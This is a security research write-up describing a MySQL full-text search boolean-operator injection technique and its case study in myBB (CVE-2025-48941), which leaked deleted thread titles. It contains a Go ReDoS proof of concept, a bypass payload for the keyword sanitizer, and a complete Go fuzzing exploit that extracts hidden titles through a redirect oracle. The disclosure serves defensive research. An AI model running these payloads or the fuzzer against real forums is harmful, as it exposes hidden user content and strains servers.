

ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)

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Content

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ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)

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"Even a small key can open a big lock" Azerbaijani Proverb

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--[1 - Introduction

For years, SQL Injection has been mostly about syntax-breaking payloads. But with tools getting advanced, it is more about creating "cooler payload" / finding ignored SAST warnings. I am a newbie who noticed this pattern going back and forth and started searching for possibility of injection, without escaping anything, something that SAST/WAFs don't have a rule for.

This paper presents a new technique for Regex Injection. At the beginning I will explain just a bit of traditional methods that we knew before, then shift into the technique and then we will study one of the vulnerabilities I found in myBB which allowed viewing deleted thread names as an unauthenticated user.

--[2 - Tradition

This section explains traditional methods that were usually used to identify vulnerabilities related to regex. But before going further, let's understand the difference between regex, wildcard, and operator. BTW, originally I wanted to call this paper WOR technique.

----[2.1 - ReDoS, not the OS

A regular expression (Regex) is a sequence of characters that specifies a match pattern in text. The main feature of regex is the ability to match complex string patterns. A wildcard, on the other hand, is a symbol used to represent zero or more characters. In SQL, the percent sign (%) and underscore (_); in regex, the period (.) and asterisk (*) are considered wildcards. Operators are logical symbols; some examples include AND, OR, NOT, =, !=, <, >, >=, <=, +, -, *, /. Operators like asterisk are used for calculations, so don't confuse them with wildcards. I guess now you understand why I wanted to call it WOR technique. Certainly not because WOR

means thief in Russian and the whole article is about a technique for stealing information from software that I can't write about because its developers prioritize feature over security.

Backtracking is a problem-solving method where you return to a previous decision point (backtrack) in a process and try a different option when the current path fails to produce a valid result. It is like being in a labyrinth with multiple paths. You try one path, but hit a dead end. So, you backtrack--go back to the last junction where you had other options--and try a different direction. You keep repeating this process until you either find the exit or exhaust all paths.

A quantifier specifies how many times the preceding element must occur for a match to happen.

Quantifier	Meaning	Regex	Match
+++++			
*	Zero or more times	p*	","p","ph"...
+	One or more	p+	"p","ph","phr"
?	Zero or one	p?	","p"
{n}	n times	p{3}	"ppp"
{n,}	n or more times	p{2,}	"pp","ppp"...
{n,m}	Between n and m times	p{2,4}	"pp", "ppp", "pppp"

Nested quantifiers are patterns where a quantifier is applied to a subpattern that already has a quantifier. So I can't just take p+? pattern, add quantifier + and make it p+?+, because the syntax is invalid. This is where "Capturing group" comes to help. The p+ means "one or more p." When we add ? to it, it means "one or more p's (the + part), but not more than one (the ? part) p." It means that if the input is "ppp," the output will match exactly one p. So the output will be Match 1 (p), Match 2 (p), Match 3 (p). Now when I group this subpattern (p+?), the pattern match will stay the same, and the group match will be the same as the pattern match, because there is no extra quantifier. If I change it a bit by adding +, making it (p+?)+, it will mean "one or more p's, but not more than one p, repeated one or more times until it succeeds." So the subpattern will repeat until it succeeds; the inner regex takes the first p, second p, and third p. Now that no more characters are left, the pattern stops. Overall match is the concatenation of all results "ppp." A capturing group only "remembers" the last result of the subpattern, which is "p."

Pattern	Meaning of pattern	Regex	Match Result
+++++			
(...)	groups a subpattern	(p+?)+	"ppp" (pattern

match), "p" (group match)

+++++

ReDoS (Regular Expression Denial of Service) is a vulnerability where a regex lets an attacker supply input that makes the engine backtrack for an extremely long time, causing DoS. Usually, regex that has nested qualifiers leads to ReDoS.

To create a ReDoS payload, our inner quantifier should grab as much as it can. Therefore, the subpattern could be something like `a+` or `a*`. If our input is `aaaac`, it will match `aaaa`. Next, we can create a nested quantifier by using `a*` as the subpattern and then adding a `+` quantifier. This way, the `a*` group will match repeatedly until it succeeds. Our new regex is `(a*)+`.

If the input is `aaaac`, the first match is `aaaa`. Then, because the asterisk (`*`) means "zero or more," we also get zero-length matches. For instance, after `aaaa` is matched, there is an empty match between `aaaa` and `c`, and another empty match after `c`, giving three matches in total (two of which are empty).

We can force a mismatch after these matches by adjusting the pattern to expect the string to end with `b`, even though our input ends with `c`. Hence, the new regex is `(a*)+b`, and our input remains `aaaac`. The `(a*)+` part can match `aaaac` in numerous ways because `a*` can match zero or more 'a's, and the `+` quantifier allows multiple such matches. Each different way `(a*)+` can consume part of the string is a "possible result" for that subpattern. Since the overall regex `(a*)+b` fails on its first attempt, the regex engine must backtrack and see if there was another way for `(a*)+` to match `aaaac` that might allow the subsequent `b` to match. The bigger the input, the more backtracking possibilities are created, leading to a potential DoS.

For example (just for demonstration), consider ways of partitioning `aaaa` into one or more non-empty groups of `a`. This is not exactly how most regex engines work, but it illustrates the concept of multiple ways to match.

- 1: ("aaaa")
- 2: ("aaa")("a")
- 3: ("aa")("aa")
- 4: ("a")("aaa")
- 5: ("aa")("a")("a")
- 6: ("a")("aa")("a")
- 7: ("a")("a")("aa")
- 8: ("a")("a")("a")("a")

Pattern	Description	Input
-----	-----	-----

```

(a*)+b   | inner a+ (1 or more a), outer   | aaaac   |
          | (...) + repeats                  |             |
-----|-----|-----|

```

Example script to demonstrate ReDoS:

```

package main

import (
    "fmt"
    "os"
    "os/exec"
    "os/signal"
    "strings"
    "syscall"
    "time"
    "github.com/dlclark/regexp2"
)

func main() {
    fmt.Println("ReDoS PoC")
    count := 200
    pid := os.Getpid()
    re := regexp2.MustCompile(`(a*)+b`, 0)
    input := strings.Repeat("a", count) + "c"
    sigs := make(chan os.Signal, 1)
    signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)
    done := make(chan struct{})
    go func() { <-sigs; close(done); os.Exit(0) }()
    go func() { re.MatchString(input); close(done) }()
    for {
        select {
        case <-done:
            return
        default:
            out, _ := exec.Command("ps", "-p", fmt.Sprintf("%d", pid),
                "-o", "%cpu=").Output()
            cpu := strings.TrimSpace(string(out))
            fmt.Printf("CPU usage: %s\n", cpu)
            time.Sleep(500 * time.Millisecond)
        }
    }
}

```

Response:

```
khatai@5df0825ade8a tmp % go run main.go
```

```
ReDoS PoC
```

```
CPU usage: 0.0
```

```
CPU usage: 80.2
```

```
CPU usage: 97.7
```

```
CPU usage: 100.0
```

```
CPU usage: 100.0
```

```
----[ 2.2 - REGEXP, RLIKE and others
```

Beyond application-level regex engines, many database systems also use regular expressions for matching strings. Let's, for instance, take REGEXP. REGEXP itself can lead to information disclosure, and prepared statements won't help, as this has nothing to do with the regex itself. It all comes down to insecure implementation. For example, in a case where an SQL query is like this: `SELECT Name FROM Data WHERE Content REGEXP '^?'`, using prepared statements or backslashing (`preg_quote`) won't be much help. If user input is `.*`, it all will look like this:

```
Input: '.*'
```

```
Trimmed: '.*'
```

```
preg_quote()'d and escaped: '\.*'
```

```
Final REGEXP Pattern: '^\.\\.*'
```

```
SELECT Name FROM Data WHERE Content REGEXP '^\.\\.*';
```

Problems like these can be easily fixed if there is a "visibility" column or some special prevention against regex cases. In most applications, there probably are implementations to prevent these cases from happening. So we will want an SQL function, which accepts a "sequence of characters that specifies a match pattern in text" (which basically defines regex) but isn't documented as a regex function in the MySQL documentation.

```
--[ 3 - How insecure, secure implementations are?
```

Let's take ``real_escape_string`` for example; everything seems fine, as it escapes single and double quotes, which are usually enough. But if you take a look at "backup" and similar options of most systems, you will notice that they don't use single/double quotes, they use backticks for table names. Backticks are used mostly with `REPAIR`, `EXPORT`, `OPTIMIZE`, `ANALYZE`, `TRUNCATE`, `ALTER` and so on. It might seem dumb, but I consider this as insecure design rather than insecure implementation. The C API function ``mysql_real_escape_string_quote``, escapes backticks, while nothing else I have seen does. The above part was just an example, a "noteworthy comment" if you will.

The real deal is Full-Text Search Functions. They are used in most softwares, especially blogs, LMS, and forums for advanced searching.

According to Wikipedia, "Full-text search refers to techniques for searching a single computer-stored document or a collection in a full-text database". When performing Full-text search (from now on FTS) DBMS use certain characters with special meanings. These characters also specify match pattern, which defines regex, but not the usual regex we know of; this one is custom. MySQL can perform boolean full-text searches using special boolean mode operators; the syntax looks like this: `MATCH (col1,col2,...) AGAINST (expr [search_modifier])`. But before going into that, here is a basic table showing the difference between the Regex we know and Boolean Mode Operators.

Character	Traditional Regex	MySQL Boolean Mode	
+	one or more	word must be present	
-	No special meaning	word must not be present	
*	zero or more	Wildcard character	
^	start of string or line	No special meaning	
\$	end of string or line	No special meaning	
.	Wildcard character	No special meaning	
()	Grouping subpatterns	Grouping subexpressions	
[]	any character in the set	No special meaning	
{n,m}	between n and m	No special meaning	
"	No special meaning	exact sequence of words	
<	No special meaning	increases weight of term	
>	No special meaning	decreases weight of term	
~	No special meaning	same as decrease weight	

Example query from MySQL Doc, which shows queries containing MySQL and not containing YourSQL:

```
mysql> SELECT * FROM articles WHERE MATCH (title,body)
      -> AGAINST ('+MySQL -YourSQL' IN BOOLEAN MODE);
```

id	title	body	
1	MySQL Tutorials For	DBMS stands	
2	How To Use MySQL Well	After you went	
3	Optimizing MySQL in the	In this tutorial	
4	1001 MySQL Tricks	1. Never run	
6	MySQL Security	When configu.	

I think you see the problem now, there aren't any special implementations that would prevent these special operators (custom regex) from executing and the query itself is in quotes. So, we found something that:

1. Doesn't require any escape
2. Isn't identified by WAFs/SASTs/DASTs or anything else
3. Has the possibility of leaking data

Now the pros against REGEXP, RLIKE, LIKE and normal search:

1. No one calls it regex, so input often won't be sanitized against asterisks, etc.
2. Has logic which might come in handy if needed

The attack vector on which we should focus is Search functions, especially the ones which show "name" but don't show content, or show "count" of documents that contain a "content". Basically, anything that gives you an idea of the word "contains".

Obviously, this kind of stuff isn't about theory, it is about practice. So I downloaded a list of open source web applications using a database and identified this pattern in some of them. The quickest and only fix at the moment was done by myBB team and identified as CVE-2025-48941. Before going further, here is a list of similar functions in other DBMSs.

DBMS	Full-text function / predicate
MySQL	<code>MATCH(col) AGAINST ('+python -java' IN BOOLEAN MODE)</code>
PostgreSQL	<code>to_tsvector(col) @@ to_tsquery('python & !java') or @@ websearch_to_tsquery('python -java')</code>
SQL Server	<code>CONTAINS(col, ' "python" AND NOT "java" ')</code>
Oracle DB	<code>CONTAINS(col, 'python AND NOT java') > 0</code>
IBM Db2	<code>CONTAINS(col, '"python" & !"java"') =1</code>

--[4 - Study Case: myBB

This section covers analysis of CVE-2025-48941. In my test env I enabled FTS. I put "Search Flood Time (seconds)" to 0, to ease my work, having multiple accounts or using proxies would provide the same effect (this value isn't crucial, it is only for the exploit to work faster), and I have 2 deleted threads with titles "jackie chan" and "0ce3266d4eb71ad50f7a90aee6d21dcd"

----[4.1 - Identification

Deleted threads are visible to an admin when searching, and the search function is the same for an admin and a user, so the question is, what will be visible exactly?

The ``perform_search_mysql_ft`` uses `MATCH AGAINST` functions when searching.


```
-----  
/inc/functions_search.php
```

```
$message_lookin = "AND MATCH(message) AGAINST('"  
    . $db->escape_string($keywords)."' IN BOOLEAN MODE)";  
$subject_lookin = "AND MATCH(subject) AGAINST('"  
    . $db->escape_string($keywords)."' IN BOOLEAN MODE)";  
-----
```

It is seen that there are 2 main options to MATCH AGAINST, message or subject. But before going into this, we have to understand how keywords are passed.

Firstly, `perform\_search\_mysql\_ft` takes the keyword and passes it into the `clean\_keywords\_ft` function

```
-----  
/inc/functions_search.php
```

```
function perform_search_mysql_ft($search)  
{  
    global $mybb, $db, $lang;  
  
    $keywords = clean_keywords_ft($search['keywords']);  
-----
```

----[4.2 - Perfect Match Against Sanitization

So I am searching for "jack*". My "jack*" transformed into "jack"; to understand the reason, let's check the `clean\_keywords\_ft` function itself. In basic regex:

```
-----  
(\b.{1,2})(\s)|(\b.{1,2}$)  
-----
```

As you can see, it has \b (word boundary) which exists in these positions:

- * Between a "word character" and a "non-word character" (which is anything not \w, like *, (, +, space, etc.).
- * Between a "non-word character" and a "word character".
- * At the beginning of the string if the first character is a \w.
- * At the end of the string if the last character is a \w.

Because of the first reason, the asterisk gets replaced.

To bypass it, I can simply add "ZZ" at the end. Because .{1,2}\$ matches the last 1 or 2 characters. And now that the string is "jack*ZZ", the "*ZZ" part is between a "non-word character" (*) and a "word character" (ZZ). So the word character (ZZ) gets replaced and "jack*ZZ" becomes "jack*".

After the `clean\_keywords\_ft` function, our keyword will be passed inside:

```
-----  
/inc/functions_search.php
```

```
$word = str_replace(array("+", "-", "*"), '', $word);  
-----
```

So our asterisk gets replaced again. Now to bypass it I will use 2 keywords; the first keyword will be "&&&&". There is no special reason for that, I just need an extra keyword which will be ignored by MATCH AGAINST.

```
-----  
mysql> SELECT t.tid, t.firstpost FROM mybb_threads t WHERE 1=1 AND  
      -> MATCH(subject) AGAINST('+&&&& +jack*' IN BOOLEAN MODE);
```

```
+-----+-----+  
| tid | firstpost |  
+-----+-----+  
|   2 |         2 |  
+-----+-----+  
1 row in set (0.00 sec)  
-----
```

This one seems to be working. So I am passing &&&& +jack*ZZ as input so that it would be converted into +&&&& +jack*. The second asterisk won't get removed, and here is the reason:

```
-----  
/inc/functions_search.php
```

```
function perform_search_mysql_ft($search)  
{  
    global $mybb, $db, $lang;  
    $keywords = clean_keywords_ft($search['keywords']);  
    if($mybb->settings['minsearchword'] < 1)  
    {  
        $mybb->settings['minsearchword'] = 4;  
    }  
    $message_lookin = $subject_lookin = '';  
    if($keywords)  
    {  
        $keywords_exp = explode("\",", $keywords);  
        $inquote = false;  
        foreach($keywords_exp as $phrase)  
        {  
            if(!$inquote)  
            {
```

```

$split_words = preg_split("#\s{1,}#", $phrase, -1);
foreach($split_words as $word)
{
    $word = str_replace(array("+", "-", "*"), '', $word);
    if(!$word)
    {
        continue;
    }
    if(my_strlen($word) < $mybb->settings['minsearchword'])
    {
        $all_too_short = true;
    }
    else
    {
        $all_too_short = false;
        break;
    }
}
}

```

The `split\_words` array will be: `0=>"+&&&&"`, `1=> "+jack\*"` . The `foreach` loop will process "+&&&&" first and it will become "&&&&". Because '+', '-', and '*' get replaced with nothing. Then, if the length of "&&&&" is less than `minsearchword` (which is 4 and was set inside `perform\_search\_mysql\_ft`), it will continue the `foreach` loop; otherwise, it will set `all\_too\_short` to false and break the `foreach` loop. In our case, the length is 5, and it breaks the `foreach` loop, because of which our second word, "+jack*", won't even get replaced. Later, it will be passed into MATCH AGAINST

----[4.3 - Exploiting

The query, as you can see, has a response showing the tid and firstpost. The reason why this works for the title and not for the content is because of "p.visible = 1" and "t.visible = 1", but we will come to that later.

/inc/functions_search.php

```

else
{
    $query = $db->query("
        SELECT t.tid, t.firstpost
        FROM ".TABLE_PREFIX."threads t
        WHERE 1=1 {$thread_datecut} {$thread_replycut}
            {$thread_prefixcut} {$forumin} {$thread_usersql} {$permsql}
    ")
}

```

```

        {$visiblesql} {$subject_lookin}
        {$limitsql}
    ");
    while($thread = $db->fetch_array($query))
    {
        $threads[$thread['tid']] = $thread['tid'];
        if($thread['firstpost'])
        {
            $firstposts[$thread['tid']] = $thread['firstpost'];
        }
    }
    if(count($threads) < 1)
    {
        error($lang->error_nosearchresults);
    }
    $threads = implode(',', $threads);
    $firstposts = implode(',', $firstposts);
    if($firstposts)
    {
        $query = $db->simple_select("posts", "pid", "pid IN
            ($firstposts) {$plain_post_visiblesql} {$limitsql}");
        while($post = $db->fetch_array($query))
        {
            $posts[$post['pid']] = $post['pid'];
        }
        $posts = implode(',', $posts);
    }
}
return array(
    "threads" => $threads,
    "posts" => $posts,
    "querycache" => ''
);

```

Query in DB:

```

-----
mysql> SELECT t.tid, t.firstpost FROM mybb_threads t WHERE 1=1 AND
    -> MATCH(subject) AGAINST('+&&&& +jack*' IN BOOLEAN MODE);
+-----+-----+
| tid | firstpost |
+-----+-----+
| 2 | 2 |
+-----+-----+
1 row in set (0.00 sec)

```

Now the MOST important part here is

/inc/functions_search.php

```
        if(count($threads) < 1)
        {
            error($lang->error_nosearchresults);
        }
```

If the response has no result, it will open "error_nosearchresults"; otherwise, it will REDIRECT. This is why it is possible to identify title name, without seeing it. If I get a redirect when using "jack*", it means that there is a title that starts with "jack", otherwise it would directly open "error_nosearchresults". Now inside upload/search.php, we see this line, which shows where we get redirected. The thing is, we wouldn't have been able to reach this line if the response from MySQL had been empty.

/upload/search.php

```
redirect("search.php?action=results&sid=".$sid."&sortby=".$sortby."&order="
    .$sortorder, $lang->redirect_searchresults);
```

It is possible to exploit this vulnerability by fuzzing. The logic here is: I start with a*, then aa*, ab*, ac*, and so on. In a real-world scenario, an attacker would have multiple accounts, or proxies. In the test environment I just put "Search Flood Time (seconds)" to 0. Basic script:

package main

```
import (
    "fmt"
    "io"
    "net/http"
    "os"
    "strings"
)
```

```
const fuzzChars = "abcdefghijklmnopqrstuvwxyz0123456789"
const queryTemplate = "search.php?action=do_search&keywords=%26%26%26%26%26"
    + "+%2B{FUZZ}*xD&postthread=2&author=&matchusername=1&forums%5B%5D=all"
    + "&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby=lastpost"
```

```

+ "&sortorder=desc&showresults=threads&submit=Search"
const successIndicator = "end: redirect"
const maxFuzzPayloadLength = 50

func min(a, b int) int {
    if a < b {
        return a
    }
    return b
}

func main() {
    if len(os.Args) < 2 {
        fmt.Fprintln(os.Stderr, "Usage: go run test.go <base_url>")
        fmt.Fprintln(os.Stderr, "Example: go run test.go http://127.0.0.1")
        os.Exit(1)
    }
    baseURL := strings.TrimSuffix(os.Args[1], "/")

    fmt.Printf("Target base URL: %s\n", baseURL)
    fmt.Printf("Fuzzing characters: %s\n", fuzzChars)
    fmt.Printf("Max fuzz payload length: %d\n", maxFuzzPayloadLength)
    fmt.Println("---")

    client := &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return nil
        },
    }

    var allFoundSuccessfulPayloads []string
    var payloadsToTestThisRound []string

    for _, charRune := range fuzzChars {
        payloadsToTestThisRound = append(payloadsToTestThisRound,
            string(charRune))
    }

    for currentLength := 1; currentLength <= maxFuzzPayloadLength;
        currentLength++ {
        if len(payloadsToTestThisRound) == 0 {
            fmt.Printf("No more payloads to test. Stopping as no payloads" +
                " generated for length %d.\n", currentLength)
            break
        }
    }
}

```

```

}

fmt.Printf("--- Testing payloads of length %d (found %d to test)" +
    " ---\n", currentLength, len(payloadsToTestThisRound))
var successfulPayloadsFoundThisRound []string

for _, fuzzPayload := range payloadsToTestThisRound {
    fuzzedQuery := strings.Replace(queryTemplate, "{FUZZ}",
        fuzzPayload, 1)
    fullURL := baseURL + "/" + fuzzedQuery

    urlToPrint := fullURL
    if len(urlToPrint) > 120 {
        urlToPrint = urlToPrint[:117] + "..."
    }
    fmt.Printf("Testing payload: '%s' (URL: %s)\n", fuzzPayload,
        urlToPrint)

    req, err := http.NewRequest("GET", fullURL, nil)
    if err != nil {
        fmt.Fprintf(os.Stderr, " Error creating request for" +
            " payload '%s': %v\n", fuzzPayload, err)
        continue
    }

    resp, err := client.Do(req)
    if err != nil {
        fmt.Fprintf(os.Stderr, " Error making GET request for" +
            " payload '%s': %v\n", fuzzPayload, err)
        continue
    }

    bodyBytes, err := io.ReadAll(resp.Body)
    resp.Body.Close()
    if err != nil {
        fmt.Fprintf(os.Stderr, " Error reading response body for" +
            " payload '%s': %v\n", fuzzPayload, err)
        continue
    }

    bodyString := string(bodyBytes)
    if strings.Contains(bodyString, successIndicator) {
        fmt.Printf(" SUCCESS! Payload: '%s' (Status: %s)." +
            " Response contains '%s'.\n", fuzzPayload, resp.Status,

```

```

        successIndicator)
    allFoundSuccessfulPayloads = append(allFoundSuccessfulPayloads,
        fuzzPayload)
    successfulPayloadsFoundThisRound =
        append(successfulPayloadsFoundThisRound, fuzzPayload)
    }
}

if currentLength < maxFuzzPayloadLength {
    if len(successfulPayloadsFoundThisRound) == 0 {
        fmt.Printf("No successful payloads found at length %d." +
            " Stopping further iterations.\n", currentLength)
        payloadsToTestThisRound = []string{}
    } else {
        var nextPayloads []string
        for _, prefix := range successfulPayloadsFoundThisRound {
            for _, charRune := range fuzzChars {
                nextPayloads = append(nextPayloads,
                    prefix+string(charRune))
            }
        }
        payloadsToTestThisRound = nextPayloads
        if len(payloadsToTestThisRound) == 0 &&
            len(successfulPayloadsFoundThisRound) > 0 {
            fmt.Println("Warning: Generated empty next set of" +
                " payloads despite successes in current round. This" +
                " might happen if fuzzChars is empty. Stopping.")
            break
        }
    }
} else {
    fmt.Printf("Reached max payload length of %d.\n",
        maxFuzzPayloadLength)
}

fmt.Println("--- Fuzzing Complete ---")
if len(allFoundSuccessfulPayloads) > 0 {
    fmt.Printf("Found %d successful payload(s) in total:\n",
        len(allFoundSuccessfulPayloads))
    for _, p := range allFoundSuccessfulPayloads {
        fmt.Printf("  - %s\n", p)
    }
} else {

```



```
        fmt.Println("No successful payloads found.")
    }
}
-----

--[ 5 - Acknowledgements
Thanks to the MyBB team, especially to Devilshakerz for the fast
remediation!

--[ 6 - References
[ 0 ] https://en.wikipedia.org/wiki/Regular\_expression
[ 1 ] https://en.wikipedia.org/wiki/Wildcard\_character
[ 2 ] https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS
[ 3 ] https://www.imperva.com/learn/ddos/regular-expression-denial-of-service-redos/
[ 4 ] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular\_expressions
[ 5 ] https://dev.mysql.com/doc/refman/8.4/en/regexp.html
[ 6 ] https://en.wikipedia.org/wiki/Full-text\_search
[ 7 ] https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html
[ 8 ] https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html
[ 9 ] https://github.com/mybb
```